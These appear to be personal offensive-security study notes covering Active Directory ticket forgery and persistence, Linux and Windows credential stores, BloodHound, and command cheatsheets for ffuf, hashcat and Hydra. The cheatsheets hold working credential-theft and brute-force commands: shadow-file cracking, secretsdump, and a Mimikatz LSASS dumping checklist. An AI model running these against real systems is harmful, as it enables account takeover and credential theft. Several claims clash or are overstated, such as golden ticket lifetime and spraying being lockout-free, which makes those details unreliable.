9 - Notes

Nice General Cheatsheets

• https://www.thehacker.recipes/
• https://brandonrussell.io/OSCP-Notes/

0) Troubleshooting & Snippets

Random fixes, one-liners, and useful commands for lab machines and general fuckery.

Fix Go

When system Go is broken or missing (HTB / online lab VMs)…

go: github.com/hahwul/dalfox/v2@latest (in github.com/hahwul/dalfox/v2@v2.12.0): go.mod:3: invalid go version '1.23.0': must match format 1.23

…Install a local Go and wire it into PATH:

wget https://go.dev/dl/go1.23.6.linux-amd64.tar.gz
mkdir -p ~/go_bin
tar -C ~/go_bin -xzf go1.23.6.linux-amd64.tar.gz
export PATH=$HOME/go_bin/go/bin:$HOME/go/bin/:$PATH
echo -e '\nexport PATH=$HOME/go_bin/go/bin:$HOME/go/bin/:$PATH' | tee -a ~/.bashrc ~/.zshrc
go version

DNS Server Reconfig

sudo rm -f /etc/resolv.conf && \
echo -e "nameserver <DNS_SERVER>" | sudo tee /etc/resolv.conf && \
sudo chattr +i /etc/resolv.conf

dig +short <TARGET>

Authentication Process - Kerberos

WIP: currently this is AI slop distilled from handouts and notes

Core Concepts & Flow

Kerberos is a ticket-based authentication protocol. It relies on a trusted third party, the Key Distribution Center (KDC), which resides on the Domain Controller (DC).

1. AS-REQ (Authentication Service Request): User encrypts a timestamp with their password hash and sends it to the KDC.
2. AS-REP (Authentication Service Reply): KDC validates the hash. If correct, issues a TGT (Ticket Granting Ticket). The TGT is valid for a specific time (default 10 hours) and is signed by the KRBTGT account.
3. TGS-REQ (Ticket Granting Service Request): User presents the TGT to the KDC and requests access to a specific service (e.g., SQL, CIFS).
4. TGS-REP (Ticket Granting Service Reply): KDC validates the TGT. Issues a TGS (Service Ticket). This ticket is encrypted using the Service Account’s password hash (Machine account or User account).
5. AP-REQ (Application Request): User presents the TGS to the Application Server/Service. Service decrypts the ticket using its own hash to validate access.
6. AP-REP (Application Reply): Access Granted

Ticket Forgery Attacks

Golden Tickets (Forged TGT)

A Golden Ticket is a forged TGT. It bypasses the authentication step (AS-REQ) entirely.

• Requirement: The NTLM hash of the KRBTGT account.
• Scope: Complete Domain Compromise. You can request a TGS for any service on any machine.
• Mechanics:
  • You are forging the proof of identity that the KDC trusts.
  • You can impersonate non-existent users (as long as the ticket timestamp is >20 mins old).
  • You can set the ticket validity to 10+ years.
  • Bypasses Smart Card requirements (since TGT issuance is the result of SC checks).
• Persistence:
  • Access remains valid until the KRBTGT password is rotated twice (AD keeps the current and previous hash valid).
  • Detection is difficult as TGT generation can occur off-domain.

Silver Tickets (Forged TGS)

A Silver Ticket is a forged Service Ticket. It bypasses the KDC entirely and interacts directly with the target server.

• Requirement: The NTLM hash of the Target Service Account (usually the Computer Account hash).
• Scope: Limited. Grants administrative access only to the specific service on the specific host targeted.
• Mechanics:
  • You are skipping the KDC/DC steps (1-4). There is no network traffic to the DC.
  • Logs only appear on the target server, making detection difficult for centralized SIEMs.
  • Can create non-existent users with custom SIDs (e.g., Domain Admin SID) inside the ticket.
• Persistence:
  • Valid until the Machine Account password rotates (default 30 days).
  • Attackers may disable machine password rotation in the registry to maintain access.

Account & Attribute Persistence

SID History Injection

The sidHistory attribute is designed for domain migrations to allow users to retain access to resources in their old domain.

• Attack: Injecting the SID of a privileged group (e.g., Enterprise Admins) into the sidHistory of a low-privileged account.
• Mechanism: When a user logs in, the PAC (Privilege Attribute Certificate) includes SIDs from their own groups AND their SID History.
• Stealth: The user does not appear in the “Domain Admins” group in AD Users and Computers. Detection requires filtering specific user attributes.
• Removal: Difficult; requires clearing the protected attribute via AD-RSAT tools.

Certificate Persistence (AD CS)

Forging authentication certificates using a compromised Certificate Authority (CA).

• Mechanism: Exporting the CA certificate and private key to mint new user certificates.
• Impact: Allows requesting TGTs indefinitely.
• Severity: Critical/Nuclear.
  • Persists through user password changes.
  • Persists through KRBTGT rotation.
  • The rogue certificates are not in the CA’s issued list, so they cannot be individually revoked.
  • Remediation: Requires revoking the Root CA, effectively breaking the entire trust infrastructure of the domain.

Structural Persistence

AdminSDHolder & SDProp

A mechanism to ensure protected groups (Domain Admins, etc.) stay secure, often abused for “self-healing” persistence.

• Mechanism: The AdminSDHolder container acts as a template. Every 60 minutes, the SDProp process copies permissions from AdminSDHolder to all protected groups.
• Attack: An attacker modifies the ACL of AdminSDHolder to give a low-priv user “Full Control.”
• Persistence: Even if an admin manually removes the attacker’s permissions from the Domain Admin group, SDProp will automatically re-add them within an hour.

Group Nesting & Modification

Hiding access in plain sight by manipulating group structures.

• Nesting: Adding a compromised account to a mundane group (e.g., “Printer Admins”), which is nested inside “IT Support,” which is nested inside “Domain Admins.” Bypasses shallow monitoring alerts.
• Shadow Groups: Leveraging groups with indirect access, such as groups that have write access to GPOs or password reset rights on Admin accounts.

GPO Implants

Using Group Policy Objects to deploy persistence across the fleet.

• Restricted Groups: Pushing a policy that adds a compromised domain user to the Local Administrators group of every PC.
• Logon Scripts: Configuring a GPO to run a reverse shell script every time a user (or specifically an Admin) logs in.

Machine/Host Persistence

DSRM (Directory Services Restore Mode)

Every DC has a local administrator account used for recovery (DSRM).

• Attack: Dumping this local hash (often set at DC promotion and never changed).
• Persistence: Configuring the DC to allow DSRM login via network (registry key DsrmAdminLogonBehavior). Allows persistent local admin access to the DC essentially independent of AD.

MOSTLY DEAD TECHNIQUES

Skeleton Keys

Patching the lsass.exe process on a Domain Controller memory to accept a “Master Password.”

• Effect: The attacker can authenticate as any user using the master password.
• Stealth: The real user passwords still work normally.
• Limitation: Persistence is lost if the DC reboots.

Malicious SSP (Security Support Provider)

Registering a malicious DLL (like mimilib.dll) as a security provider on the DC.

• Effect: Logs cleartext passwords of every user authenticating against that DC to a local file or network share.
• Persistence: Survives reboots and operates as part of the OS authentication subsystem.

Authentication Process - Kerberos

• Knowledge Consistency Checker (KCC) generates a replication topology for the AD forest and automatically connects to other domain controllers through Remote Procedure Calls (RPC) to synchronise information… DC Synchronisation
• High value (near-privileged) accounts since Domain Admins would technically be the goal but get creds rotated quickly
  • Credentials that have local administrator rights on several machines. Usually, organisations have a group or two with local admin rights on almost all computers. These groups are typically divided into one for workstations and one for servers. By harvesting the credentials of members of these groups, we would still have access to most of the computers in the estate.
  • Service accounts that have delegation permissions. With these accounts, we would be able to force golden and silver tickets to perform Kerberos delegation attacks.
  • Accounts used for privileged AD services. If we compromise accounts of privileged services such as Exchange, Windows Server Update Services (WSUS), or System Center Configuration Manager (SCCM), we could leverage AD exploitation to once again gain a privileged foothold.

we often want to persist through service accounts with delegation permissions to forge silver and golden tickets

• TGT

• TGS

• AS-REQ

• TGS-REQ

• AP-REQ

• Golden Tickets are forged TGT for the AS-REQ, which allow the request of TGS. Skips steps 1-2

  • ONLY NEED: KRBTGT account’s password hash, we only need the domain name, domain SID, and user ID for the person we want to impersonate… if we have said hash we can get the other info
  • dont need password of user account impersonated
  • the KDC will only validate the user account specified in the TGT if it is older than 20 minutes. This means we can put a disabled, deleted, or non-existent account in the TGT, and it will be valid as long as we ensure the timestamp is not older than 20 minutes.
  • we could overwrite the values pushed by the KDC, such as, for example, that tickets should only be valid for 10 hours. We could, for instance, ensure that our TGT is valid for 10 years, granting us persistence.
  • By default, the KRBTGT account’s password never changes, meaning once we have it, unless it is manually rotated, we have persistent access by generating TGTs forever.
  • The blue team would have to rotate the KRBTGT account’s password twice, since the current and previous passwords are kept valid for the account. This is to ensure that accidental rotation of the password does not impact services.
  • Rotating the KRBTGT account’s password is an incredibly painful process for the blue team since it will cause a significant amount of services in the environment to stop working. They think they have a valid TGT, sometimes for the next couple of hours, but that TGT is no longer valid. Not all services are smart enough to release the TGT is no longer valid (since the timestamp is still valid) and thus won’t auto-request a new TGT.
  • Golden tickets would even allow you to bypass smart card authentication, since the smart card is verified by the DC before it creates the TGT.
  • We can generate a golden ticket on any machine, even one that is not domain-joined (such as our own attack machine), making it harder for the blue team to detect.

• Silver Tickets are forged TGS tickets. Skips steps 1-4

  • The generated TGS is signed by the machine account of the host we are targeting.
  • The main difference between Golden and Silver Tickets is the number of privileges we acquire. If we have the KRBTGT account’s password hash, we can get access to everything. With a Silver Ticket, since we only have access to the password hash of the machine account of the server we are attacking, we can only impersonate users on that host itself. The Silver Ticket’s scope is limited to whatever service is targeted on the specific server.
  • Since the TGS is forged, there is no associated TGT, meaning the DC was never contacted. This makes the attack incredibly dangerous since the only available logs would be on the targeted server. So while the scope is more limited, it is significantly harder for the blue team to detect.
  • Since permissions are determined through SIDs, we can again create a non-existing user for our silver ticket, as long as we ensure the ticket has the relevant SIDs that would place the user in the host’s local administrators group.
  • The machine account’s password is usually rotated every 30 days, which would not be good for persistence. However, we could leverage the access our TGS provides to gain access to the host’s registry and alter the parameter that is responsible for the password rotation of the machine account. Thereby ensuring the machine account remains static and granting us persistence on the machine.
  • While only having access to a single host might seem like a significant downgrade, machine accounts can be used as normal AD accounts, allowing you not only administrative access to the host but also the means to continue enumerating and exploiting AD as you would with an AD user account.

WARNING

The techniques discussed from this point forward are incredibly invasive and hard to remove. Even if you have signoff on your red team exercise to perform these techniques, you must take the utmost caution when performing these techniques. In real-world scenarios, the exploitation of most of these techniques would result in a full domain rebuild.

• Make sure you fully understand the consequences of using these techniques and only perform them if you have prior approval on your assessment and they are deemed necessary. In most cases, a red team exercise would be dechained at this point instead of using these techniques. Meaning you would most likely not perform these persistence techniques but rather simulate them.

• We can continue requesting TGTs no matter how many rotations they do on the account we are attacking. The only way we can be kicked out is if they revoke the certificate we generated or if it expires. Meaning we probably have persistent access by default for roughly the next 5 years.
  • Certificate Authority (CA) itself

Authentication Process - Linux

1. Core Architecture: PAM

Pluggable Authentication Modules (PAM) manage the authentication, session setup, and password changes.

• Key Module: pam_unix.so (Standard Unix auth).
• Location: /usr/lib/x86_64-linux-gnu/security/
• Function: Bridges the gap between user input (e.g., passwd command) and flat files (/etc/passwd, /etc/shadow).

2. Critical Files & Storage

A. The User Registry (/etc/passwd)

• Permissions: World-Readable.
• Format: Username:Password:UID:GID:GECOS:Home:Shell
• Key Fields:
  • Password (x): Indicates the hash is actually in /etc/shadow.
  • Exploit: If writeable, deleting the x removes the password requirement for that user (e.g., root::0:0... allows passwordless login).

B. The Secrets (/etc/shadow)

• Permissions: Root-Readable only.
• Format: Username:Hash:LastChange:Min:Max:Warn:Inactive:Expire:Reserved
• Status Flags:
  • ! or *: Account is locked (cannot login via password).
  • Note: SSH Key auth or su might still work even if locked.

C. Password History (/etc/security/opasswd)

• Permissions: Root-Readable.
• Function: Stores previously used password hashes to enforce history policies (prevent reuse).
• Value: Often contains older, weaker hashes (MD5) useful for pattern analysis.

3. Hash Formats & Algorithms

Linux hashes follow the format: $<id>$<salt>$<hash>

4. Cracking Workflow

1. Prepare the File (Unshadow) Combine passwd and shadow to give the cracker the necessary context (Usernames, GECOS, and Hash).

# Syntax: unshadow <PASSWD_FILE> <SHADOW_FILE>
unshadow /etc/passwd /etc/shadow > unshadowed.hashes

2. Crack (Hashcat)

• Format: SHA-512 (Mode 1800) is the most common legacy default.

hashcat -m 1800 -a 0 unshadowed.hashes rockyou.txt

3. Crack (John the Ripper)

• Mode: --single is highly effective here because unshadow provides the GECOS fields for guessing.

john --single unshadowed.hashes

Authentication Process - Windows

1. Key Processes & Architecture

WinLogon (WinLogon.exe)

• Role: The “orchestrator.” Intercepts keyboard input (Ctrl+Alt+Del), manages the workstation lock status, and handles password changes.
• Workflow: Launches LogonUI -> Collects Creds -> Sends to LSASS.
• Legacy Note (GINA): In older Windows (NT/XP), msgina.dll handled this. Replaced by Credential Providers in modern Windows.

LogonUI (LogonUI.exe)

• Role: The graphical user interface that asks for the password.
• Mechanism: Uses Credential Providers (COM Objects/DLLs) to accept different auth types (Password, PIN, Biometrics).

LSASS (%SystemRoot%\System32\Lsass.exe)

• Role: The “Gatekeeper.” Enforces security policy, validates the password against SAM/AD, and writes to the Event Log.
• Resources: Microsoft: LSA Architecture

2. Authentication DLLs (The Packages)

These modules live inside LSASS to handle specific tasks.

3. Credential Storage Locations

Local Users (SAM)

• File Path: %SystemRoot%\system32\config\SAM
• Registry Mount: HKLM\SAM
• Protection: Partially encrypted by SYSKEY (syskey.exe) to prevent offline extraction.
• Content: Local user NTLM/LM hashes.

Domain Users (NTDS)

• File Path: %SystemRoot%\ntds.dit
• Location: Found only on Domain Controllers.
• Content: Active Directory database (Users, Groups, Computers, GPOs, Hashes).
• Sync: Replicates to all DCs (except Read-Only DCs).

Credential Manager (The Vault)

• Role: Stores saved passwords for RDP, Websites, and Network Shares.
• Policy.vpol in File Path:

• %UserProfile%\AppData\Local\Microsoft\Vault\
• %UserProfile%\AppData\Local\Microsoft\Credentials\
• %UserProfile%\AppData\Roaming\Microsoft\Vault\
• %ProgramData%\Microsoft\Vault\
• %SystemRoot%\System32\config\systemprofile\AppData\Roaming\Microsoft\Vault\

• Resource: Microsoft: Credential Manager

BloodHound

BloodHound

• https://github.com/SpecterOps/BloodHound
  • Queries Cheatsheet: https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/
    • https://github.com/SpecterOps/BloodHoundQueryLibrary/tree/main/queries
• Attack Path: https://morimori-dev.github.io/posts/tech-bloodhound-attack-paths/

NOTE: sometimes the outputed zipfile doesn’t get properly ingested… trying extracting and uploading the individual JSON files

BloodHound is THE TOOL for AD enumeration. “[L]everages graph theory to reveal hidden and often unintended relationships across identity and access management systems…” visually along with other pre-built queries to find weakness in domain structures.

Pre-Requisites

• https://bloodhound.specterops.io/get-started/quickstart/community-edition-quickstart

wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz

# Start and reset password for BloodHound via Docker
sudo systemctl enable --now docker
sudo ./bloodhound-cli install
./bloodhound-cli resetpwd

Collecting Info

• Collection Methods: https://bloodhound.specterops.io/collect-data/ce-collection/sharphound-flags

# Bloodhound/SharpHound - AD Mapping
Import-Module .\Downloads\SharpHound.ps1    
Invoke-Bloodhound -ZipFileName bh_logs.zip -CollectionMethod All -Domain <DOMAIN> 
# - OR

# SharpHound.exe alternative
.\SharpHound.exe --zipfilename bh_logs.zip -c All -d <DOMAIN>

Uploading Info

• Transfer Bloodhound data to attacker
• Upload zipfile to Bloodhound: http://127.0.0.1:8080/ui/login
• Upload to Bloodhound: http://127.0.0.1:8080/ui/administration/file-ingest

Analysis and Queries

# Search Box >

domain:<DOMAIN>

### Pre-Built Queries
# Domain Info > Analysis >

# Out-of-date Computers (for Exploits)
Find Computers with Unsupported Operating Systems

# Find Logged-In/Cached Domain Admins
Find Computers where Domain Users are Local Admin

Domain Trusts

• Pre-built Query
• Analysis > Domain Information > Map Domain Trusts

Enumerating ACLs of User

1. Select starting node user
2. Select Node Info > Scroll to Outbound Control Rights
3. First Degree Object Control
   1. Right-Click edge > Help for more info
4. Transitive Object Control
5. Analysis > Dangerous Rights

CanRDP

• BloodHound CanRDP:
  • Search for User > Node Info > Execution Rights
  • Analysis
    • Find Workstations where Domain Users can RDP
    • Find Servers where Domain Users can RDP

CanPSRemote

• Bloodhound CanPSRemote
• https://queries.specterops.io/

MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2

SQLAdmin

• BloodHound SQLAdmin

MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2

ffuf

Fast web fuzzer ffuf is best used for Virtual Host (VHOST) Discovery, Parameter Fuzzing, and API Testing. Use feroxbuster for web file and directory brute-forcing.

When fuzzing for file extensions, try to discern (or guess by searching for index.*) to ascertain the web technologies used (i.e. PHP for Apache or ASPX for IIS, etc.)

References:

• https://github.com/ffuf/ffuf?tab=readme-ov-file#usage

Basic usage

HTTP OPTIONS:
  -H               Header "Name: Value", separated by colon. Multiple -H flags are accepted.
  -X               HTTP method to use (default: GET)
  -b               Cookie data "NAME1=VALUE1; NAME2=VALUE2" for copy as curl functionality.
  -d               POST data
  -recursion       Scan recursively. Only FUZZ keyword is supported, and URL (-u) has to end in it. (default: false)
  -recursion-depth Maximum recursion depth. (default: 0)
  -u               Target URL

MATCHER OPTIONS:
  -mc              Match HTTP status codes, or "all" for everything. (default: 200,204,301,302,307,401,403)
  -ms              Match HTTP response size

FILTER OPTIONS:
  -fc              Filter HTTP status codes from response. Comma separated list of codes and ranges
  -fs              Filter HTTP response size. Comma separated list of sizes and ranges

INPUT OPTIONS:
  -w               Wordlist file path and (optional) keyword separated by colon. eg. '/path/to/wordlist:KEYWORD'
  -ic              Ignore comments in wordlist

OUTPUT OPTIONS:
  -o               Write output to file

EXAMPLE USAGE:
  Fuzz file paths from wordlist.txt, match all responses but filter out those with content-size 42.
  Colored, verbose output.
    ffuf -w wordlist.txt -u https://example.org/FUZZ -mc all -fs 42 -c -v

Wordlists

• Dir/File: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
• Extensions: /usr/share/wordlists/seclists/Discovery/Web-Content/web-extensions.txt
• Subdomains: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
• URL Parameters: /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt
• Users:
  • Quick: /usr/share/seclists/Usernames/top-usernames-shortlist.txt
  • Comprehensive: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

Example Commands

Find file extension (and learn web technologies)

# NOTE: already includes '.' so do not add to -u
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ -u http://<TARGET>/indexFUZZ

Search for files

ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<TARGET>/FUZZ.php

Search recursively for specified file extensions

# NOTE: -v is needed to show full path
ffuf -ic -recursion -recursion-depth 1 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -e .php -u http://<TARGET>/FUZZ -v

Subdomain search

# NOTE: remember this will not find internal, private subdomains
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://FUZZ.<DOMAIN>

vHost Brute-Force

Just changes HTTP header

# NOTE: filter out by response size since an HTTP response of 200 OK will always be received
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -H 'Host: FUZZ.<DOMAIN>' -u http://<TARGET>/ -fs <SIZE>
# Add NEW vHosts to automatically resolve them later
echo '<IP_ADDR> <VHOST>.<FQDN>' | sudo tee -a /etc/hosts

Parameter fuzzing

GET

# NOTE: filter out by response size since an HTTP response of 200 OK will always be received
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE>?FUZZ=value -fs <SIZE>

POST

# NOTE: filter out by response size since an HTTP response of 200 OK will always be received
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE> -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'FUZZ=value' -fs <SIZE>

Value fuzzing

For HTTP GET requests, remove the -X and -d options and incorporate the PARAM=value into the -u URL.

Try other wordlists to make sure they make sense for the PARAM.

### IDs
# Might require custom wordlist like ids for instance
for i in $(seq 1 100000) ; do echo $i >> ids.txt ; done
# Fuzz
ffuf -w <CUSTOM_WORDLIST>:FUZZ -u http://<TARGET>/<PAGE> -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d '<PARAM>=FUZZ' -fs <SIZE>

### USERNAMES
ffuf -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt:FUZZ -u http://<TARGET>/<PAGE> -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d '<PARAM>=FUZZ' -fs <SIZE>

# Access via curl (POST)
curl http://<TARGET>/<PAGE> -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d '<PARAM>=<VALUE>'

Hashcat

Hashcat is a fast password recovery tool that supports multiple attack modes and hash types. It’s the world’s fastest and most advanced password recovery utility.

References:

• Hash Type Codes: https://hashcat.net/wiki/doku.php?id=example_hashes
• Permutation Rules: /usr/share/hashcat/rules
• Cheat Sheet: https://pentesting.site/cheat-sheets/hashcat/
• Rule-Based Attack: https://hashcat.net/wiki/doku.php?id=rule_based_attack

Important Notes

• Hash Mode: Always specify the correct -m mode for your hash type. Use hashid or check the hash format to determine the mode.
• Wordlists: Common wordlists include rockyou.txt, SecLists, and custom wordlists generated from OSINT.
• Rules: Start with best64.rule for quick results, then move to more comprehensive rules if needed.
• Performance: Use -w 3 or -w 4 for faster cracking (uses more resources). Use -O for optimized kernels (may limit password length).
• GPU Acceleration: Hashcat automatically uses GPU if available. Ensure proper drivers are installed.
• Resume Sessions: Hashcat saves progress automatically. Use --restore to resume interrupted sessions.
• Output: Cracked passwords are saved to
  • ~/.hashcat/hashcat.potfile
  • ~/.local/share/hashcat/hashcat.potfile
• Username: Sometimes it strips the name from hits… to show username and passwords run:
  • hashcat --username --show <CRACKME>

Basic Usage

# Basic syntax
hashcat -m <HASH_MODE> -a <ATTACK_MODE> <HASH_FILE> <WORDLIST>

# Common flags
-m <MODE>     : Hash type mode (see hash types below)
-a <MODE>    : Attack mode (0=straight, 1=combinator, 3=brute-force/mask, 6=hybrid wordlist+mask)
-r <RULE>    : Rule file for rule-based attack
--force      : Ignore warnings (use with caution)
--stdout     : Output to stdout instead of cracking
-w <LEVEL>   : Workload profile (1-4, higher = faster but more resource intensive)
-O            : Optimized kernels (limits password length)

Attack Modes

Common Hash Types & Modes

Windows Hashes

# NT hashes (NTLM)
hashcat -m 1000 <HASHES> <WORDLIST>

# PBKDF2 (DCC2 hashes for domain - cached domain credentials)
hashcat -m 2100 <HASHES> <WORDLIST>

Linux Hashes

# SHA-512crypt (most common legacy default)
hashcat -m 1800 hashes.txt <WORDLIST>

# MD5crypt (with salt)
hashcat -m 20 <HASH>:<SALT> <WORDLIST>

Kerberos (Active Directory)

# Kerberoasting - RC4 encrypted TGS (Type 23)
hashcat -m 13100 spn_tickets.txt <WORDLIST>

# Kerberoasting - AES-256 encrypted TGS (Type 18)
hashcat -m 19600 spn_tickets.txt <WORDLIST>

# Kerberoasting - AES-128 encrypted TGS (Type 17)
hashcat -m 19700 spn_tickets.txt <WORDLIST>

Other Hash Types

# Bitlocker
hashcat -a 0 -m 22100 hash_crackme_vhd.txt <WORDLIST>

# IPMI (HP iLO)
hashcat -m 7300 ipmi_hash.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u
hashcat -m 7300 -w 3 -O "<HASH>" /usr/share/wordlists/rockyou.txt

Rule-Based Attacks

Rule-based attacks apply transformations to words in a wordlist, creating permutations and variations.

Rule Files Location

# Default rule files location
/usr/share/hashcat/rules

Rule Comparison Table

Using Rules

# Apply rule file to wordlist
hashcat -m 1800 -r /usr/share/hashcat/rules/best64.rule hashes.txt <WORDLIST>

Creating Custom Rules

Common rule transformations:

Example Custom Rule File:

cat << EOF > custom.rule
c
C
t
\$!
\$1\$9\$9\$8
\$1\$9\$9\$8\$!
sa@
so0
ss\$
EOF

# Generate permutated wordlist
hashcat --force -r custom.rule keywords.txt --stdout | sort -u > wordlist.txt

# Crack hash with custom rule
hashcat -a 0 -m <HASH_ID> -r custom.rule <HASH> wordlist.txt

Mask Attacks (-a 3)

Mask attacks use placeholders to define character sets and patterns for brute-force attacks.

Charset Symbols

Custom Charsets

# Define custom charset with -1, -2, -3, -4
# -1 ?d?u means charset 1 = digits + uppercase
hashcat -a 3 -m 7300 hash.txt ?1?1?1?1?1?1?1?1 -1 ?d?u

Mask Examples

# Pattern: 1 uppercase, 4 lowercase, 1 digit, 1 special
hashcat -a 3 -m <HASH_ID> <HASH> '?u?l?l?l?l?d?s'

# 8 characters: digits or uppercase
hashcat -a 3 -m 7300 hash.txt ?1?1?1?1?1?1?1?1 -1 ?d?u

Hash Identification

Before cracking, identify the hash type:

# Use hashid to identify hash and get hashcat mode
hashid -jm '<HASH>'

# Alternative: online tool
# https://hashes.com/en/tools/hash_identifier

Common Hash Values

Workflow Examples

Linux Password Cracking

# 1. Prepare unshadowed file
unshadow /etc/passwd /etc/shadow > unshadowed.hashes

# 2. Crack with hashcat (SHA-512, mode 1800)
hashcat -m 1800 -a 0 unshadowed.hashes rockyou.txt

Kerberoasting

# 1. Get TGS tickets
impacket-GetUserSPNs -dc-ip <DC_IP> <DOMAIN>/<USER> -request -outputfile spn_tickets.txt

# 2. Crack TGS (RC4, most common)
hashcat -m 13100 spn_tickets.txt <WORDLIST>

# 3. If AES-256, use mode 19600
hashcat -m 19600 spn_tickets.txt <WORDLIST>

Windows NT Hashes

# Extract hashes from SAM
impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL

# Crack NT hashes
hashcat -m 1000 <HASHES> <WORDLIST>

Hydra

• https://hydra.cc/docs/intro/
• https://brandonrussell.io/OSCP-Notes/My%20Hydra%20Cheatsheet.html

Hydra is a parallelized login cracker that supports numerous protocols to attack quickly and flexibly, and new modules are easy to add.

NOTE: use netexec for Windows AD environments instead

Core Flags

-f      : Stop immediately when a credential is found
-V      : Verbose (Check if service is responding)
-t <N>  : Number of parallel tasks (threads)
-l <USER> : Single username
-L <USER_LIST> : Username list file
-p <PASSWORD> : Single password
-P <WORDLIST> : Password wordlist file
-o <OUTPUT> : Output file
-s <PORT> : Port if nonstandard
-M <TARGET_FILE> : Targets list file

hydra -x -h

# Generate and test passwords ranging from 6 to 8 characters of an alphanumeric set
-x 6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789

Protocol-Specific Examples

SSH / FTP / RDP / SMB

# SSH brute-force; -t 4 is recommended for SSH (ONLINE - use small wordlist)
hydra -t 4 -l <USER> -P <WORDLIST> -f -V ssh://<TARGET>

# FTP brute-force
hydra -l <USER> -P <WORDLIST> -f -V ftp://<TARGET>

# RDP brute-force
hydra -l <USER> -P <WORDLIST> -f -V rdp://<TARGET>

# SMB brute-force
hydra -l <USER> -P <WORDLIST> -f -V smb://<TARGET>

Web Forms

HTTP-POST

Syntax: "/PATH:BODY:CONDITION=STRING"

• Use browser F12 > Network > DevTools, web proxy, or -d to capture the actual POST request. Look for the form action URL and input field names.
• Use ^USER^ and ^PASS^ as placeholders in BODY
• Condition String: hydra -U http-post-form
  • Important: you can only define S= OR F= - not both
  • F=<FAILURE_STRING> (default) specifies the failure response text to detect failed logins
    • too many false positives means bad failure string
  • `S=<SUCCESS_STRING>
    • S=302 means a successful login due to an HTTP 302 page forward redirect

Check with -dt1 for condition strings

# S=302 for login redirects (and no login error)
hydra -l <USER> -P <WORDLIST> -f <TARGET> http-post-form "/<PAGE>:<USERNAME_LABEL>=^USER^&<PASSWORD_LABEL>=^PASS^:S=302" -V
# F=X for bad logins give an error
hydra -l <USER> -P <WORDLIST> -f <TARGET> http-post-form "/<PAGE>:<USERNAME_LABEL>=^USER^&<PASSWORD_LABEL>=^PASS^:F=invalid" -V

HTTP Basic Auth

A basic form of authentication, usually when a web resource is restricted, a pop-up window will appear asking for username and password. From a HTTP header perspective it is the base64 version of <USERNAME>:<PASSWORD> like:

Authorization: Basic YWxpY2U6c2VjcmV0MTIz

hydra -l <USER> -P <WORDLIST> -f <TARGET> http-get -V

WordPress Specific

# WordPress brute-force login form with a complex request string (ONLINE - use small wordlist)
hydra -t 16 -l <USER> -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt <TARGET> http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^:F=Invalid username' -VF -o hydra_wp_login.txt

# Alternative WordPress syntax
hydra -l <USER> -P <WORDLIST> <TARGET> http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username" -V -f

Password Spraying

Password spraying uses one password against many users (alternates users), which has no risk of account lockout compared to brute-forcing. This is useful as a “hail Mary” to find any way in!

Best practice: Obtain account lockout policy beforehand (via enumeration or asking customer); if you don’t know the password policy, a good rule of thumb is to wait a few hours between attempts, which should be long enough for the account lockout threshold to reset.

# SSH password spraying (1 password vs many users)
hydra -L <USER_LIST> -p '<PASSWORD>' -f -V -t 4 ssh://<TARGET>

# Web form password spraying
hydra -L <USER_LIST> -p '<PASSWORD>' -f -V <TARGET> http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"

Important Notes

• Account Lockout Risk: Brute-forcing (many passwords vs 1 user) has a RISK of account lockout due to account lockout policy. Use small wordlists and be cautious.
• Thread Count: Use -t 4 for SSH to avoid overwhelming the service. Web forms can handle higher thread counts like -t 16.
• Wordlist Selection: For online attacks, use small wordlists (e.g., top 1000 passwords) to minimize lockout risk and reduce time.
• Output: Always use -o <OUTPUT_FILE> to save results for later analysis.

Mimikatz

• Ref: https://tools.thehacker.recipes/mimikatz/modules

Mimikatz is a post-exploitation tool that can extract plaintext passwords, hashes, PINs, and Kerberos tickets from memory. It can also perform pass-the-hash, pass-the-ticket, and build Golden Tickets.

TL;DR Credential Dumping Checklist

privilege::debug
token::elevate
sekurlsa::logonpasswords
sekurlsa::wdigest
sekurlsa::ekeys
lsadump::sam
lsadump::secrets
lsadump::cache
lsadump::lsa /patch

Important Notes

• Debug Privilege: Most Mimikatz operations require privilege::debug to access LSASS memory
• Administrator Required: Mimikatz typically needs administrator privileges to function
• LSASS Access: Many operations read from LSASS memory, which is protected by Windows
• Detection: Mimikatz is heavily flagged by security products and EDR solutions
• Pass the Hash: When using sekurlsa::pth, a new window will open - run commands in that new window
• Golden Tickets: Golden Tickets are valid until the KRBTGT account password is changed (typically 180 days by default)
